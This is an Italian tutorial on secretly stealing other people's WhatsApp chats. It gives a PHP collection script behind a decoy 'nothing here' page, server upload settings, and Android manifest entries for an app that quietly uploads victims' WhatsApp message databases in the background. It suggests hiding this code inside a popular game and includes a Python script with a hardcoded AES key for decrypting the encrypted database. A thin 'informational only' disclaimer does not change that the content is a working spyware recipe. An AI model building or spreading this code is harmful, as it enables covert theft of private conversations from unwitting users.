Al giorno d’oggi le App di messaggistica istantanea sono, tra le tante, le più utilizzate sui nostri dispositivi mobili, siano essi smartphone o tablet, Android o iOS. Grazie alle app per il VoIP e per la messaggistica possiamo oggi effettuare chiamate ed inviare messaggi tramite in internet in modo del tutto gratuito. Tra le tutte, la più conosciuta di tutte è l’app acquistata qualche mese fa da Facebook per una cifra da capogiro.
Vi siete mai chiesti se esiste il modo per spiare WhatsApp e leggere le conversazioni dei propri amici? Non è una procedura del tutto legale, dunque la procedura che andremo ad illustrare nell’articolo è solamente a scopo informativo e per effettuare dei test sui vostri dispositivi personali, in quanto il furto di dati è un reato punito dalla legge.
La procedura per spiare WhatsApp non è del tutto semplice, in quanto richiede delle buone conoscenze di programmazione Java e dimestichezza con i vari IDE di programmazione che andremo ad utilizzare per eseguire i vari passaggi. Innanzitutto, dovete sapere che il database WhatsApp è salvato nella nostra SD card e può essere letto da tutte le applicazioni che hanno i permessi per farlo, dunque grazie a questa “debolezza” è possibile spiare WhatsApp utilizzando un piccolo stratagemma (WhatsApp, rilevata una vulnerabilità su Android).
Finché la maggior parte degli utenti Android concederanno i permessi ad ogni applicazione, questo particolare ostacolo non costituirà un vero problema. Come può un’applicazione Android permetterci di spiare WhatsApp di un altro utente? Come prima cosa, abbiamo bisogno di un posto dove memorizzare i database WhatsApp, un esempio è costituito da un semplice web server contente uno script PHP:
<?php // Upload script to upload Whatsapp database // This script is for testing purposes only. $uploaddir = "/tmp/whatsapp/"; if ($_FILES["file"]["error"] > 0) { echo "Error: " . $_FILES["file"]["error"] . "<br>"; } else { echo "Upload: " . $_FILES["file"]["name"] . "<br>"; echo "Type: " . $_FILES["file"]["type"] . "<br>"; echo "Size: " . ($_FILES["file"]["size"] / 1024) . " kB<br>"; echo "Stored in: " . $_FILES["file"]["tmp_name"]; $uploadfile = $uploaddir . $_SERVER['REMOTE_ADDR'] . "." . basename($_FILES['file']['name']); move_uploaded_file($_FILES['file']['tmp_name'], $uploadfile); } ?> <html> <head> <title>Shoo.. nothing here</title> </head> <body> <form method="post" enctype="multipart/form-data"> <input type="file" name="file" id="file"> <input type="submit" value="Submit"> </form> </body> </html>
Assicuratevi, inoltre, di configurare il file php.ini nel vostro server per permettergli l’upload di file più grandi. Queste le righe da modificare:
file_uploads = On post_max_size = 32M upload_max_filesize = 32M
A questo punto, basterà sviluppare una qualsiasi applicazione Android che, in background, invii i database WhatsApp di chi la esegue al server e il gioco è fatto. Inoltre, è un progetto abbastanza semplice da portare a termine. Vediamo come.
Il passo iniziale riguarda la creazione di un progetto Android in Eclipse seguendo i passi di default dell’ADT. Nel manifesto Android che si andrà a creare, ci basterà concedere i permessi che vedete qui di seguito:
<uses-permission android:name="android.permission.READ_EXTERNAL_STORAGE" /> <uses-permission android:name="android.permission.INTERNET" />
Aggiungendo queste due righe al file AndroidManifest.xml, daremo all’applicazione i permessi per accedere alla SD card. Per ciò che concerne il layout, invece, non serve apportare cambiamenti particolari (basta lasciare quello creato di default da Eclipse) anche se, in questo caso, abbiamo spostato il TextView al centro e incrementato la grandezza del testo. Il magico upload del database WhatApp avverrà prima che il layout venga visualizzato!
<RelativeLayout xmlns:android="http://schemas.android.com/apk/res/android" xmlns:tools="http://schemas.android.com/tools" android:layout_width="match_parent" android:layout_height="match_parent" android:paddingBottom="@dimen/activity_vertical_margin" android:paddingLeft="@dimen/activity_horizontal_margin" android:paddingRight="@dimen/activity_horizontal_margin" android:paddingTop="@dimen/activity_vertical_margin" tools:context=".MainActivity" > <TextView android:layout_width="wrap_content" android:layout_height="wrap_content" android:layout_alignParentTop="true" android:layout_centerHorizontal="true" android:layout_marginTop="179dp" android:text="@string/hello_world" android:textSize="24sp" /> </RelativeLayout>
Il lavoro principale, giunti a questo punto, avviene nel codice del file MainActivity.java, dove risiede il compito dell’applicazione, ossia effettuare l’upload dei tre file seguenti:
- /WhatsApp/Databases/msgstore.db
- /WhatsApp/Databases/wa.db
- /WhatsApp/Databases/msgstore.db.crypt
I primi due file rappresentano i database delle versioni WhatsApp meno aggiornate, poiché nelle nuove versioni avremo il file msgstore.db.crypt che, come potete immaginare, è crittografato. Tuttavia, è ancora possibile leggere le conversazioni da questo database, vedremo più giù come. Durante l’upload dei file, l’applicazione mostrerà una semplice schermata di caricamento e, quando la fase di loading sarà conclusa, verrà visualizzato il layout. A questo punto, come soprascritto, i file saranno già sul nostro server. Potete scaricare il file MainActivity.java qui.
Naturalmente, al posto di uno screen per il caricamento iniziale, è possibile inserire un codice come questo in una qualunque applicazione. Immaginate che questo avvenga con un gioco che è spopolato recentemente come Flappy Bird, in men che non si dica ritroverete sul vostro server un numero considerevole di database.
Per concludere, ritorniamo al database crittografato di WhatsApp. Si tratta, per la precisione, di un database SQLite3 che, per un accesso più comodo e veloce, può essere convertito in formato Excel. Tuttavia, per aprirlo, è necessario decrittografare il file e questo è possibile grazie ad uno script scritto in Python come quello che potete vedere qui di seguito.
#!/usr/bin/env python import sys from Crypto.Cipher import AES try: wafile=sys.argv[1] except: print "Usage: %s <msgstore.db.crypt>" % __file__ sys.exit(1) key = "346a23652a46392b4d73257c67317e352e3372482177652c".decode('hex') cipher = AES.new(key,1) open('msgstore.db',"wb").write(cipher.decrypt(open(wafile,"rb").read()))
Prima di concludere, va fatta un’ultima precisazione sull’argomento. Come in tutti i protocolli di cifratura, è necessaria una chiave. In questo caso, stiamo parlando di una chiave AES (Advanced Encryption Standard) che potete procurarvi grazie all’ottimo tool WhatsApp Xtract presente su XDA.
IMPORTANTE: è stato pubblicato un aggiornamento dell’applicazione per spiare WhatsApp. Maggiori informazioni in questo articolo.